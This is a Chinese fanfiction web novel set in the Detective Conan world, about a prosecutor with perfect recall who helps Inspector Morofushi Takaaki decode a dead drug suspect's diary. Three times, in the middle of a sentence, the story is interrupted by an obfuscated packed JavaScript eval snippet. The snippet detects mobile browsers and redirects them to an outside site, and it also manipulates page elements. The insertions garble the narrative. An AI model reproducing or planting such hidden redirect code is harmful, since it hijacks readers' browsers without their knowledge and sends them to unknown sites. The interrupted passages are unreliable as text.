《[柯南]过目不忘的检察官小姐》 1. 第 1 章 诸伏高明第一次见到传说中那位过目不忘的学妹,是在东京地方法院。 一名东京犯事的嫌犯潜逃至长野,被捕后由他负责押送至东京地方检察厅。 大学时期相熟的学长恰好在检察厅担任检察官,得知是他负责押送,一定要弥补上一次他来东京公干错过相聚的遗憾,力劝他办完交接后来法院等他。 办完手续,诸伏高明来到几步之遥的法院,在3楼走廊上没等多久,临近的办公室门被打开,森川真雄同房内的人再次告别后关上门,冲诸伏高明热烈打招呼。 “诸伏,好久不见!” “前辈,最近还好吧?”诸伏高明微微倾身。 “挺好的挺好的,”森川真雄一手拿着文件夹,一手揽过诸伏高明肩膀,带着他走向台阶,“检察厅嘛,总归是这些事。你呢?最近怎么样?” 诸伏高明正要回答,森川真雄就已经再度开口:“你肯定好,你可是长野的孔明啊,没案子能难倒你!” 前辈还是老样子,诸伏高明暗自感叹。 “前辈过奖了,我远远无法与诸葛孔明相比。” “哪里,我瞧着你是和他更像——”森川真雄的话头戛然而止。 诸伏高明有些奇怪,顺着森川真雄的目光看去,是一名三十多岁的女性,看衣着打扮也是一名检察官。 “九条桑,你怎么在这?我记得你今天没有要开庭的案子。” “前辈,”九条玲子点头,“是的,今天没有,我想着浅落负责的案子庭审也该结束了,就过来等她。前辈,这位是?” 九条玲子看向诸伏高明。 “哦哦差点忘了介绍了,这是长野的诸伏高明警部,是我东大的学弟,说起来,九条桑,诸伏也是你前辈。” “原来是诸伏前辈啊,我在东大法学院的时候听说过您,我是九条玲子,和森川前辈一样目前是东京检察厅的检察官。” “是王牌检察官。”森川真雄笑着补充,“九条桑,要不一起吧,来个东大法学院校友聚会。” “对不起前辈,我晚上约了浅落,”九条玲子抱歉一笑,继而再次看向诸伏,“她下周不是就要调任到长野的检察厅了吗,走之前和她聚聚。” “对哦对哦,我差点忘了,”森川真雄语露懊悔,摸了摸后脑,“月初调任就下来了,北原桑下周得去长野了。说起来也真巧,诸伏,以后说不定你就要和北原桑打交道了。” “北原桑?” “是,也是我们东都大学的学妹,不过诸伏你不认识她是正常的,她入学的时候你已经毕业了,她可是我们检察厅另一张王牌啊,你们长野县的检察厅赚大发了!” “是啊,”九条玲子淡淡一笑,“毕竟是位过目不忘的检察官,检察界的记忆女王,也真搞不懂她怎么会去报名调到长野的。” “过目不忘?”诸伏高明平静的脸上终于显现出几分难得一见好奇。 “是的是的,真的是过目不忘,诸伏你之后在长野会见识到的,那九条桑,我们就先走了,你慢慢等北原桑。” 三人慢步来到法庭门口,正要就此告别,从未关紧的大门内,传出清丽的女声,不紧不慢,坚定冷静,不禁使刚迈出半步的两位男士停下脚步。 “资金流向显示,其中28亿7千万日元在到账后一周内,向被告人妻子弟弟控制的空壳公司D、E、F多次转账,其后通过这些空壳公司分多次转账到开曼的各个离岸银行,其中于2024年7月14日、26日,8月3日、14日、29日汇入皇家开曼信托银行共计12.6亿日元,收款账户编号为RCTB-TRA-00145873-KY,于9月2日、7日、18日汇入海神国际银行共计10.3亿日元,收款账户编号为NIB-GT-7M-BVI-22080915,于10月1日、9日、17日汇入翡翠湾资本银行共计5.8亿日元,收款账户编号为EBCB-TRUST-ALPHA-8942-577-Z……” 说到具体的数字和编号时,女声没有任何停顿,仿佛是再平常不过的语句。 透过门缝,诸伏高明惊奇地发现对方在此过程中并不翻动面前的资料,甚至从未低头看一眼,只是平静地望向法庭中央的被告。 这就是过目不忘吗? 诸伏高明凝视着北原浅落的侧脸,是个比他想象中还要年轻的女孩。 “怎么样?是不是很吃惊啊?”森川真雄拍了拍愣住的诸伏高明,“没事,以后你见多了就习惯了,不过过目不忘这种技能果然不管见识了多少次还是令人嫉妒呢。” “那九条桑,我们就先走啦,回见!” “再见前辈。” 九条玲子望着两人走远的背影,重新将注意力投向法庭内断续传出的声音。 真是的,好好的去长野干嘛? * 北原浅落第一次见诸伏高明,是在超市的货架边。 趁着周末,她把长野的新居收拾好,在柔软的布艺沙发上躺了片刻,就听见外面沙沙的雨声。 她就着雨声发了会呆,不知怎的思绪飘到了前两天九条玲子对她的“恨铁不成钢”。 “你这个笨蛋,放着好好的东京地检不待,去长野干嘛?” 她当时是怎么回答的来着? 对,无非是些在哪都是为检察事业效力,不能挑肥拣瘦,要勇于站出来为部门分忧等等冠冕堂皇的话。 然后,被九条玲子无情打断,顺带吃了记栗子。 想到此处,北原浅落不禁笑了,抬手摸了摸被九条玲子打的地方。 真正的原因,当然不能告诉前辈,会被笑死的。 她起身走到窗边,雨不大,是绵绵的春雨,不至于出不了门。 北原浅落迅速得出结论,拿起车钥匙出门。 按照原先的计划,她要出门去超市买些生活用品。 由于下雨,超市里人不多,她推着手推车慢慢悠悠在货架间穿梭,时不时停下查看心仪的商品。 “姑娘,”一位老人家出声喊住了她,“你知道白胡椒粉放在哪里了吗?我找了半天调味区还没看到。” 北原浅落莞尔一笑,给老人指了指:“老奶奶,您从这边过去,经过三个货架就是调味区了,白胡椒粉在调味区从右往左数第二个货架第三层,左边5种是袋装的,右边3种是小瓶子装的,您到时候按您的需要挑选就好了。” “好好,真是太谢谢你了姑娘!” “不客气,能帮到您就好!” 见老人家走入了调味区,北原浅落继续自己的采购之旅,昨天晚上理东西的时候发现沐浴露忘带了,得重新买一个。 北原浅落扫了一眼货架,发现自己习惯用的放在了顶层,她踮起脚尖,伸手正要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078996|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去拿,却被不知从哪出来的另一只大手抢了先。 “我来吧,北原检事。” 男人的嗓音沉静醇厚,让她一时恍了神。 面前的男人穿着一身深蓝色西服,白色的衬衫挺括整洁,头发明显也是被精心打理过,更遑论那标志性的胡子。 “谢谢您,诸伏警部!” 诸伏高明挑了挑眉,似是有些惊讶,随后将沐浴露递给北原浅落:“北原检事知道我?” “是,”北原浅落将沐浴露放入推车,坦然解释,“那天和九条前辈吃饭的时候她提起了你,说遇见了长野县的警察,我就回去找到长野县警官的资料看了看,诸伏警部的履历在警官里相当亮眼呢。” 想到刚才北原浅落和老人的对话,诸伏高明丝毫不怀疑对方已经把他履历上的所有资料全都记下。 “真是厉害啊,眼见为实,若不是亲眼所见,实难相信世上居然有过目不忘的人。” “也没有那么夸张啦,我只是比平常人记性好一点而已。”北原浅落谦虚回应,心里却在想着诸伏警部真的和传言中一样说话带着古韵。 “可不是好一点,”诸伏高明迈步不紧不慢跟在北原浅落身旁,“北原检事是第一次来这个超市吧?只是经过,就能把白胡椒粉的位置记得如此清楚,我在一旁听见了真是大开眼界。” “那也得是经过了才知道啊,像我现在要是想找我没经过的东西,也得老老实实慢慢找。”北原浅落边说边笑着环视一圈,“诸伏警部对这个超市熟吗?” “还可以,这个超市离我住的地方不远,我常来。” “那可以麻烦诸伏警部带个路吗?听说长野的荞麦面很有名,我想买一点回去当晚饭。” “可以,不过——”诸伏高明一顿,猛地意识到对面不是大和敢助。 “不过什么?”北原浅落仰着脸,眼中是好奇和笑意。 他忽然想,他的资料履历里应该不会有说他喜欢意大利面吧? “没什么,请跟我来吧,北原检事。” 两人各自结好账,瞧见对方东西有些多,诸伏高明问道:“北原检事今天是怎么过来的?外面在下雨,你东西有点多,需要我开车送你一程吗?” “不用啦,我开车过来的,我自己回去就好,谢谢诸伏警部了。” “那我帮你提一点东西?我的车也在地下停车场。” 北原浅落本想婉拒,但自己买的东西实在有些多,便点点头:“好,那就麻烦您了!” 关上车后备箱,北原浅落坐入驾驶座,拉上安全带降下车窗:“今天真的是谢谢您了,诸伏警部,您也早点回家休息吧,周末还工作辛苦了。” 她怎么? 只一瞬,诸伏高明的神情便由惊转“原来如此”的坦然。 “北原检事也是,初来长野,要照顾好自己。” “我会的,再见!” 望着车辆远去,诸伏高明喃喃:“人不可貌相……” 这位北原检察官,比想象中要聪明,也比想象中随和亲切,和那天在法庭外听见的陈述风格截然不同。 晚上,北原浅落如愿给自己煮了一碗荞麦面。 北原浅落用勺子舀了一勺汤,小口小口啜着。 这位“辖区里的孔明”警官,是个大好人呢,今后和警方方面的工作,应该会展开得很顺利吧? 2. 第 2 章 三浦健人刚从外面吃饭回来坐下没多久,就听见办公室门口传来两声敲门声,抬眼望去,是一名三十岁不到的女性,穿着藏青色职业装,领口佩戴一枚徽章,隔得有些远,他看不清。 “那个,不好意思打扰了,请问诸伏警部在吗?” “诸伏出外勤了,还没回来,您找他有事吗?”三浦健人起身走近,这才发现是“秋霜烈日章”,“原来是检察厅的同僚啊,是有什么工作上的事吗?我可以帮你转告。” “谢谢您三浦警部,不过不是工作上的事,”北原浅落将手中的纸袋递给三浦健人,“请您帮我把这个转交给诸伏警官,就说前两天多谢他帮忙,这是给他的谢礼,还请他收下。” “你、你认识我?”三浦健人一时懵了,他不记得自己见过面前的这位检察官。 “不好意思,我忘了自我介绍,我叫北原浅落,是刚从东京地检调来长野地检的检事,以后和警方这边的工作还请您多多指教了!”说着北原浅落鞠了一躬。 “好的好的,北原检事客气了。”三浦健人连忙回礼。 “那就麻烦三浦警部帮我把东西交给诸伏警部啦,我先回去继续工作了。” “好的,再见。” 等到北原浅落的身影消失在楼梯口,三浦健人才后知后觉手上拿的是什么。 给诸伏的谢礼? 诸伏? 这家伙什么时候和检察厅的人关系这么好了? * “高明,你这家伙今天转性了?”大和敢助推开车门下车,“中午居然和我们一起吃了荞麦面?” “是啊是啊,真是难得呢。”上原由衣拔下车钥匙放入口袋,跟着一起调侃。 “就是突然想吃了,值得你们这么大惊小怪吗?”诸伏高明下车后拉了拉自己的西装,余光瞧见一个算不上熟悉也算不上陌生的背影,不禁一愣。 是她吗? 她来警视厅干嘛?有公务吗? “怎么了?”大和敢助最先发现诸伏高明的不对劲,顺着目光看去又没什么异常。 “没什么。”说着诸伏高明自顾自往前走,不管身后二人。 “真是,没什么就没什么,不知道的还以为你突然发现了嫌疑人。” “放心,田中的花店已经处于严密监视之下,以静制动,以逸待劳,就等他的同伙出现了。”诸伏高明的语气一如既往平静,一如既往胸有成竹。 推开办公室,诸伏高明正想走向自己位置,就被三浦健人叫住了。 “诸伏,你什么时候和检察厅的人关系那么好了?”三浦健人将桌上的纸袋递给诸伏高明,“喏,这是刚刚一位叫姓北原的检事给你送来的,说是多谢你前几天帮忙。” “果然,”诸伏高明看向简约的纸袋,里面似乎还有一张写了字的便签,“谢谢你了三浦。” “北原?”大和敢助奇怪,向上原由衣求证,“和我们打交道的检事里有这个姓的吗?” “呃——”上原由衣迅速回想,给出了否定答案,“好像没有。” “是吧是吧?我就说不认识嘛!”见有人和自己感受相同,三浦健人提高了音量,“她也说她是刚从东京过来的,但是很奇怪,她居然认识我欸,一见面就叫出了我的名字。” “真的吗?”上原由衣表示不信。 “真的!” 想到昨天的见面,诸伏高明不觉勾起了嘴角,过目不忘这个技能,真的是异常实用。 “不光是你,大概我们这的所有人,她都认识。” “这是什么意思?”大和敢助问道。 “字面意思。”诸伏高明提着纸袋走回座位。 “我可不记得我认识什么叫北原的家伙。”大和敢助用拐杖敲了敲地面。 “东京来的话,是你之前在东都大学上学时候的同学吗?”上原由衣猜测。 “不不不,绝对不是,”不等诸伏高明开口,三浦健人就替他否定了,“那位检事看起来和上原你差不多大,不可能是诸伏的同学。” “那诸伏君和她是怎么认识的啊?” “是偶然间认识的,其实,她也是东大法律系毕业的,所以说起来,她算是我的学妹,只是她入学的时候我已经毕业了。” “那也少见啊,诸伏,你说这么多年了,除了上原和其她女同事,还没见过你身边有过别的女性,更何况是这么一个漂亮姑娘。” 诸伏高明丝毫不为同僚的调侃所动,拉开椅子坐下:“检事也算是警察的同事,殊途同归。” “喂高明,既然是认识的人,下次也介绍给我和上原认识认识吧。”大和敢助倚在桌边,眼中隐隐露出精明的笑意。 “是啊诸伏君,我也想见见这位美女检事。”上原由衣跟着点头。 “我和她只是萍水相逢,之后见面应该也是工作的缘故了。”诸伏高明说着拿出纸袋里的盒子,顺势揭下贴在上面的便签。 “诸伏警部: 那天下午在超市麻烦您啦,为表示对您的感谢,我做了一点小饼干,还请您笑纳,希望您能喜欢。 北原浅落敬上” 字迹清秀隽永,笔锋间却透出几分凌厉。 很像她。 * “可恶!”大和敢助不满地拄拐走向一家花店,这家花店其貌不扬,在一众商铺中显得平平无奇,“这真的只是意外不是人为事故吗?” “是的,交警那边和我们这边都确认了,就是一起交通意外,肇事司机当天涉嫌疲劳驾驶。”上原由衣关门下车,快走两步来到大和敢助身边,“负责跟踪的同事当场就叫了救护车并展开急救,还是没能救回来。” “这样一来,我们的钓鱼计划就行不通了。”诸伏高明抬头看向花店的招牌,从口袋里取出一双手套戴上,“剩下的唯一线索只有这家花店了。” 花店内,电脑等电子设备已被拿去警察本部的技术中心鉴定,各种花朵也被打包送去检验有无异常,在花店后部的生活区,三人发现了嫌疑人的各项私人用品。 “看不出来,这家伙还挺喜欢读书。”大和敢助扫视着一排排书脊。 “是些文学作品和园艺书籍,”上原由衣归纳总结,顺手拿下其中一本《雪国》翻动,“暂时看不出有什么异常。” “都带回去,说不定是嫌犯之间联络的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078997|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 密码本。”大和敢助说道。 诸伏高明站在书桌旁,拉开抽屉发现了几本笔记本,翻看几面后说道:“这些是嫌犯的日记本。” “那就一起带回去,估计我们想知道的都在这些日记里。” 很可惜,事与愿违,三天过去,案件没有任何进展。 “这家伙,既然连路上给了一只狗吃的这种小事都记了,怎么不记一下提供毒品的人呢?”大和敢助合上不知看了几遍的日记本,“都是些毫无价值的琐事。” “敢助,俗话说见微知著,说不定线索就藏在这些看似毫无价值的琐事中。” “哈?”大和敢助睨了诸伏高明一眼,“那你看出来线索了吗?” “还没有。” “那你说什么风凉话。” “不过从这些日记中,我们大致能推出嫌疑人的性格画像,他和其他穷凶极恶的毒品犯罪犯不同,他还算良心未泯,甚至在有些时候算得上是个好人。” “真是好人就不会充当制毒犯和吸毒犯之间的联络人了。” 眼见二人有吵起来的架势,上原由衣连忙从中斡旋:“好了好了,我也觉得日记应当是我们的突破口,毕竟在其他物品上都没有发现什么异常。或许我们可以对比一下所有日记的内容,比如每月固定日子的日记,说不定可以发现点什么。” “这样不知道得看到什么时候去,让人把日记内容输入到电脑里吧。”大和敢助看了眼面前三本摊开的厚厚日记本,顿了顿,语气中添了几分烦躁,“等到全输进去嫌犯都不知道跑哪里去了!” “敢酱,那也没办法,我们不可能记住这么多内容,这是手写字,目前拍照识字技术还不能保证很高的准确度,只能靠人工一个字一个字打。” 诸伏高明灵光一现,望着两人缓缓开口:“或许,我们可以请一位外援。” * "北原检事,部长找你。" “好,我马上过去。” 北原浅落用笔在资料上做了个标记,随即起身前往部长办公室。 来这工作已经两周,北原浅落已经适应新的工作环境,新同事们都很照顾她这位从东京来的“新人”。 她抬手敲了敲门,听到里面的“请进”后推门而入,不料看见一个意料之外的身影。 “诸伏警部?你怎么在这里?” “北原检事,又见面了,我这次是来请你帮忙的。”诸伏高明说着微微鞠躬。 “帮忙?”北原浅落视线不觉飘向部长,向其求证。 “是的北原桑,诸伏警部这次是代表警方向我借人的,这个案子事关毒品,非常重要,你就和他过去一趟,看看能不能帮上什么。” “可、可是部长,我是检察官,查案什么的警方更擅长吧?”北原浅落偷偷瞟了诸伏高明一眼,而且他们是长野县警察啊,日本警察智商的天花板欸,他们都解决不了的案子她去能帮上什么? “不,北原检事,这次的案子,转机说不定就在你的身上。” “我的身上?” “是,毕竟,你可是过目不忘的记忆女王。” 这一点,他已经领教过了。 3. 第 3 章 “所以诸伏警部,是什么案子啊?” 轻带上办公室的门,北原浅落问出了心中的疑问,在她看来,有诸伏高明他们在,再怎么着也不至于来找自己这个外行。 “是一个毒品制造交易的案子。嫌犯之一叫田中博行,33岁,是一家花店的店主,主要负责毒品的下线工作,管理联络吸毒者,我们本来想借他摸清上游的制毒者,但是三天前,他出了车祸,不治身亡。” “车祸?” “嗯,是的,警方已经调查过了,的确是意外事故,但是这样就导致我们目前的线索断了。” “对不起,”北原浅落在办公室门口停下脚步,“我先进去收拾一下,请等我一会。” “应该的,请便。” 北原浅落快步步入办公室,将桌面摊开的资料合上,边收拾边和一边的检察官助理交代着事项。 两分钟后,北原浅落提着通勤包走出办公室。 “诸伏警部,久等了,”北原浅落抬手将落在额前的碎发撩至耳后,和对方一起向楼梯走去,“既然嫌犯已经去世,警方应该搜查了他的遗物才对,没有发现什么线索吗?” “是的,我们把嫌犯的电子设备和其他可疑物品都带回了本部检验调查,什么异常也没发现。虽然其中有嫌犯的日记,但我们仍然没有从中发现什么有价值的信息。” “日记里都没有吗?按理来说,日记里多多少少都会记些隐秘的事才对。”北原浅落皱起眉头。 “是的,我们也这么认为,但是目前确实没有什么头绪,尽管无法排除是嫌犯以防万一特地不留下任何线索,但更可能的情况应该是对方特地用了隐秘的写法,我们尚未识破。”诸伏高明说着转头看向认真倾听的女孩,“所以,我想到了北原检事,想让你看看嫌犯的日记,再凭借你出色的记忆力帮我们检索一下,看是否有什么异常的记录。” “这样,”北原浅落若有所思,思考了两秒,“在翻看卷宗资料的时候我是会用这种办法来看前后是否矛盾没错啦,但是一般都是我边看边对后面要关注哪里心中有数的情况下,用在日记这方面不知道可不可行,毕竟没有参考的话很像大海捞针。” 顿了顿,北原浅落抬头,冲诸伏高明一笑:“不过诸伏警部放心,我会尽力的。” 女孩的眉眼弯弯,在午后的阳光下更显明媚。 “嗯,我相信北原检事。” 步行约十分钟,两人进入长野县警察本部。 大厅内不时有人匆匆往来,但和东京警视厅比,显然算不上繁忙,和她上次过来送东西的时候差不多。 “请这边走。”诸伏高明伸手示意。 “好。”北原浅落连忙跟上,顺势问道,“上次我让三浦警部转交的谢礼,你收到了吗?” “收到了,你的手艺很好,饼干非常好吃,上原桑尝了之后赞不绝口,只是我没有你的联系方式,没法及时和你说。” “那就现在加一个吧,以后工作上有什么事也方便联络。”说着北原浅落取出手机解锁。 进入搜查一课办公区,北原浅落明显察觉到工位上的各位警官或多或少向自己投来了奇异的目光,上次她来的时候正值午休,办公室里人不多,这次是工作时间,莫名有种见警察的压迫感。 诸伏高明敏锐地察觉到北原浅落的拘谨与不自然,向投来视线的各位同事回以“警告”的目光,资历尚浅的年轻警察们纷纷低头继续手上的公务,和他相熟的警察们却都是笑着瞪了回来。 “检事,又来啦!”三浦健人笑着走近。 “是,三浦警部您好。” 眼见诸伏高明脸色有变黑的迹象,三浦健人连忙识趣走开:“我要去鉴识科一趟,先走啦。” “你就是小茜说的那位新来的东京检事吧?”上原由衣笑着打招呼,“您好,我是上原由衣,初次见面还请多多关照!” “上原警部补您好,我是北原浅落,小茜是检察官助理小野桑吗?” “是,我们是国中同学,她前两天和我说新来了一位记忆力惊人的女检事,今天终于见面了。” “别啰嗦了上原,赶紧说正事吧。”大和敢助拄拐上前,“你好,我是大和敢助,我们去会议室里谈吧。” “好。” 四人进入一间小型会议室坐下,诸伏高明取过三本日记和一双手套,放在北原浅落面前:“这就是死者留下的三本日记。” “好,”北原浅落戴上手套,迅速翻开其中一本大致预估了一下,“我应该三个小时后可以全都看完。” 这么快? 诸伏高明面露惊讶,猜到她阅读速度也许比常人快,但没想到这么短时间就够了。 “三个小时?”上原由衣大惊,“北原桑,这可是有厚厚的三本啊!” “检事小姐,光快可不行,我需要你全都记住,然后和电脑一样对比归纳,三个小时可以吗?”大和敢助表示怀疑,“虽然我们很急,但是充足的阅读时间还是有的。” “是的,你们放心吧,我说三个小时,三个小时就够了。”北原浅落胸有成竹。 “那好吧,检事小姐你留在会议室慢慢看,高明,上原,我们去隔壁再把嫌犯的事情梳理一遍。” 诸伏高明跟着起身,离开前脚步一顿:“北原检事,你需要喝点什么吗?咖啡?茶?” “有红茶吗?来杯红茶就好。” “好,我这就去给你泡。” 几分钟后,会议室里重归平静,只有沙沙的翻页声。 北原浅落拿起红茶小啜一口。 泡茶的人手艺不错。 * 日渐西斜,天边红霞晕染。 北原浅落放下手中最后一本日记,眉头稍皱,神情凝重。她端起茶杯走向窗边,望着天边的晚霞。 喝完最后一口茶水,她深吸了一口气,放下杯子走出办公室,敲响隔壁那间的房门。 诸伏高明打开门,问道:“怎么样?有发现吗?” 话音刚落,他发现北原浅落神色有些异样:“怎么了?” “没什么,”北原浅落低头,“很抱歉,我虽然看完了,但是并没有发现什么线索。” “一点发现也没有吗?”大和敢助追问,“你回忆一下,比如每个月1号他会不会记些相同的事,或者哪几天老是重复什么东西。” 北原浅落摇头:“没有,日记里每天例行公事般记当天吃了什么,看了什么书,发生了什么,都是一些很平常的事,然后就是抒发些个人情感,再创作一些诗歌之类的,我暂时没发现什么异常。” “还是完全没有进展啊。” “敢酱,”上原由衣忍不住制止,“北原桑已经尽力了,毕竟连我们都没看出什么不是吗?” “真是抱歉。” “无妨,是我们要向你道歉,”诸伏高明说道,“把你拉过来,耽误了你的工作安排。” “嗯……”北原浅落沉吟片刻,终是开口,“我认为,他应该是在日记里记录了线索, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078998|179354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是太隐秘了,我们一时觉察不到。从他的记述中,可以发现,他是个非常喜欢记录生活的人,很多我们看来琐碎的小事他都记了,dupin这么大的事他不可能不记,只是在他别扭的人格加上怕人发现的心理作用下,外人看了发现不了,我们需要一把钥匙。” “是啊,一把钥匙,我们也在寻找。” “别的东西上真的没有收获吗?” “没有,”上原由衣摇头,“田中博行生活中没有朋友,也不与顾客过多社交,但是花艺很好,花的质量也很好,因此生意不错,还有许多网上订单。” “那这些订单……”北原浅落刚一出口就后悔了,她能想到的事他们三个应该也早就调查过了。 “我们也怀疑过,但是就目前而言,这些订单没有问题。” 一阵静默。 “算了,吃饭去吧,晚饭时间到了,饿着肚子可转不动脑子。”大和敢助招呼三人去吃饭,“去旁边那家新开的面馆怎么样?检事小姐也一起?” “好。” 吃完饭,大和敢助和上原由衣返回本部,临行前让诸伏高明送北原浅落回去再过来。 “不用送我,我就住在附近,最近都走路上下班。” “没事,那刚好当散步,晚上还是不要一个人独自回家比较好。” 北原浅落一笑:“照你这么说,我以后加班还不能回家了?” “住附近的话,你住哪个小区?” 北原浅落说了名字,却发现诸伏高明脸色一变。 “怎么了吗?” 诸伏高明无奈一笑:“我也住那。” “真的吗?诸伏警部也住这个小区?” “是的,我住6幢902。” ! “我住6幢802,你居然住我楼上?”北原浅落难以置信,居然是上下楼,这也太巧了吧? “好了,这下你以后加班有人陪你回家了。” 北原浅落不禁笑了:“到时候就能看看是警察加班多还是检察官加班多了。” 见到女孩放松的笑容,诸伏高明十分欣慰,余光看到天边挂着的月亮,说道:“月亮出来了。” 北原浅落跟着望向弯弯的新月:“嗯,今天晚上的月亮虽然不圆,但很亮呢。” “是啊,这两天查案子,都没注意过月亮。” 月亮? 月亮! 北原浅落脑中闪过一道光。 “2024年3月7日,今天晚上,月光黯淡,没有生气。” “2024年5月3日,晚上的月亮隐在乌云后面,看不见什么光。” “2024年7月6日,今天晚上,月亮又被云遮住了大半,本来就黯淡的月色更加惨淡。” 说完这几句日记上的话,北原浅落睁大双眼,她好像找到那把钥匙了。 在她开始背诵日记时,诸伏高明神色也逐渐收敛:“你是不是发现了什么?” “月亮,诸伏警部,是月亮!”北原浅落迅速回忆了一遍日记上所有关于月亮的记载,“没有一句是说月光明亮的,全是黯淡,而且,记了月亮的日子,有些应该是看不见月亮的。” “你是说……” “对!”北原浅落转身就往警察本部跑,“我们去把这些日子和月相对应一下就能证明了!” 诸伏高明连忙跟上:“是,那么我想,有必要再查一下这些日子的鲜花订单。” 月光之下,两人拉长的影子分外相近。 4. 第 4 章 果然,与北原浅落记忆中一模一样,田中博行的日记本中关于月亮的记载总是充斥着黯淡、阴影之类的词,不论当天实际是皓月当空,抑或没有丝毫月光。 花店的常客不少,可是在这么多日子中都会寄花的顾客,只有一个。 大和敢助当机立断,组织警力前往嫌疑人住处。 临行之前,诸伏高明向她道歉:“对不起,没法送你回去了。” “没事,我自己回去就好,诸伏警部你赶快去忙吧。”北原浅落歪头一笑,“我相信长野的治安。” 看着数辆警车远去,北原浅落呼了口气,重新踏上回家的路途,月色溶溶,却似乎蒙上了一层阴影。 “悬在窗外,悬在窗外, 月光如水银, 流动着阴影。 我游走于黑暗, 从我的阴影中长出毒丝。 月光之下, 我坠入深渊。” 脑中猝不及防蹦出来田中博行日记中写的诗,北原浅落面色紧绷,停在原地凝视着天边要落下的弯月,与之前相比,月色暗了许多。 根据田中博行的日记,她不难推测出他的过往经历,该怎么说呢,化用一下中国的俗语,可恨之人总有可怜之处。 “认清黑暗的深度,不是让我们对它视而不见,更不是为了沉沦,而是让我们在深知其存在后,更加坚定前进的方向,更加相信法律,坚守正义。” 北原浅落想起那张泛黄的信纸,想起上面端正有力的字。 这句话后还有一句:“你现在年纪尚小,这对你来说有些难以理解,没关系,如果你以后真的从事了法律相关的工作,就会自然而然理解了。” “我现在不小了。”北原浅落喃喃,似是在回复那位不知在何处的陌生人。 几秒后,她挪开目光,望向周围的住宅,灯光闪耀,偶尔有母亲的唠叨声传出。 她忽地嘴角上扬,勾起一个好看的弧度,再度望向半落下的月亮,迈步走向小区大门。 是时候把关于田中博行的记忆归档了。 * 几天后的中午,北原浅落正和同事们吃饭,手机响了,界面显示是诸伏高明。 不会又是找她帮忙的吧? “诸伏警部,有什么事吗?” “是这样的,”诸伏高明瞥了眼门口监督自己打电话的两名发小,抬手捏了捏眉心,“之前的案子材料已经移交上去了,我们打算晚上开个庆功会,想邀请你过来一起,你晚上有时间吗?” “我?” “诸伏君,一定要让北原桑过来呀!”上原由衣压低声音冲他喊。 “是的,这件案子能破,你帮了很大的忙,上原桑他们很想请你过来。” 北原浅落从听筒中捕捉到了上原由衣的声音,顺着诸伏高明的话开玩笑道:“那诸伏警部呢?” 女孩问得坦然,倒是让诸伏高明愣了一下,旋即一笑:“我当然也是希望北原检事过来的。” “我想想啊,”北原浅落快速估计下午的工作量,给了肯定的答复,“应该是可以的,你把时间和地点发过来就好。” “好的,晚上见。” 挂了电话,诸伏高明冲门口的二人走去:“你们什么时候喜欢偷听人打电话了?” “什么偷听,”大和敢助丝毫不惧,“我们光明正大的好吗?” 同样,上原由衣也没管诸伏高明的话,问道:“北原桑会来的吧?” “是,我把餐厅地址发给她。”诸伏高明在手机上打着字。 “什么嘛?哪有这样的,你应该去接她。” 诸伏高明按下发送:“上原桑,我和北原检事只是朋友,过度的热情是越界。” 上原由衣一时不知道说什么。 大和敢助“切”了一声:“你这样,不是一个人才怪。” “那你呢敢助君?”诸伏高明微微一笑,不甘示弱,“你打算什么时候对上原表明心意?” “笨蛋,怎么扯到我身上了?” 见两人脸红不知所措的样子,诸伏高明知道自己目的达成,转身进入办公室。 下班后,诸伏高明还是去检察厅门口接北原浅落了,只是,不是他一个人去,是和大和敢助、上原由衣一起。 “你们怎么来了?”远远瞧见门口的三人,北原浅落和同事告了别,小跑过来。 “来接你,”上原由衣瞧了眼被拉来的诸伏高明,“其他人先过去了,我们一起过去就好。” 北原浅落不疑有他,聚餐地点离警察本部和检察厅不远,走路十分钟就到。 吃饭的地点是一家自助的西餐厅。 在随意的休闲环境中,警察们难得卸下了防备,如平常人聚餐一样吃吃喝喝,谈天说地。 因为和上原由衣年龄相仿,北原浅落和上原由衣的关系迅速在聊天中拉近。 瞧着和上原由衣聊得火热的北原浅落,大和敢助放下手中的饮料,说道:“检事小姐,要不来我们这边当警察吧,你记性这么好,不当警察可惜了。” “我?”北原浅落笑着摆手,“警察不是记性好就能当好的吧?我还是继续做检察官吧,有你们做警察,很让人安心。” “那北原桑怎么会想当检察官的呢?”上原由衣问道。 “因为检察官是守护社会司法底线的存在,警察和法官固然很好,但检察官同样不可或缺。”北原浅落回道。 “确实,从某种意义上说,检察官是对我们警察工作的检查与监督,是执法的另一道保险。”诸伏高明点头表示赞同。 “话说北原桑,你记性这么好,会不会有那种记得东西太多了感到头脑爆炸的时候?”上原由衣好奇。 北原浅落喝了口橙汁,点头:“是会有这种情况,但是为了避免这种情况,我通常会把一些暂时不需要用到的记忆存档。” “存档?记忆能存档?” 